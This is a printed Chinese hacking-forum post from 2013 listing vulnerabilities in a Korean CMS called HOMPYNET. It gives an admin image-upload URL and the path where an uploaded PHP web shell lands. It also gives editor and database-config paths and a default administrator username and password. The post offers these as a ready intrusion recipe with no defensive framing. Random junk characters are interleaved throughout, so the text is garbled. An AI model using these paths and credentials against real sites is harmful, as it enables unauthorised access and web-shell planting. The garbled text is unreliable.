中国网络渗透测试联盟

标题: 韩国HOMPYNET CMS漏洞 [打印本页]
作者: admin    时间: 2013-3-14 20:12
标题: 韩国HOMPYNET CMS漏洞
上传漏洞  :6 Z& }# y) z% z1 O( X, U* i

) Z7 \) o5 ~, ^7 I6 b8 e( Ahttp://www.xxx.com/admin/image_a ... p;iname=&iform=
" L- r# N+ Z; b2 Q% Q, C1 r& C) U* V( f! E( c& j: n
http://www.xxx.com/admin/image_a ... p;iname=&iform=7 a; h6 G% ^9 F# P8 B

, f0 ^5 J% G+ x; w! T上传后路径：
0 A: V$ O0 U6 R; i, b  K2 d# m6 p; e5 l1 H4 E; H
http://www.xxx.com/bis_web_page/images/shell.php.en7 i& l9 C2 T$ ?& j- J
+ e: r9 j: o, h2 g$ q6 w* s# |5 |
编辑器：( q' o/ F4 w5 w& e- `' y5 t9 u
, \: W. W: w* @% s7 _* w
http://www.xxx.com/admin/editor/SWE.php
3 H/ E, D0 G. z% a/ r
; q- y3 h3 \1 B0 _http://www.xxx.com/program/editor/SWE.php
8 a/ B2 W0 _; D1 J$ V: ]
* A' z4 [1 g7 N+ |- Y! z$ z数据配置文件路径：
5 ^8 `" b' c; Q  K; e8 Q
9 N, g+ i' d" m( A3 rhttp://www.xxx.com/m_config/DATA/g_setting.php
" e  M+ s" @$ t3 Z6 u, I! j  X" d8 |5 S4 q4 }
此程序通用后台账号 ：gamsiw  php99
$ V: f! j+ |5 l" z8 w' B0 }
; b( G6 q- v! Z+ |  |  V​
/ ~; E7 a2 i- L; L
  W# I/ K* {$ a& U) A* P# I



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2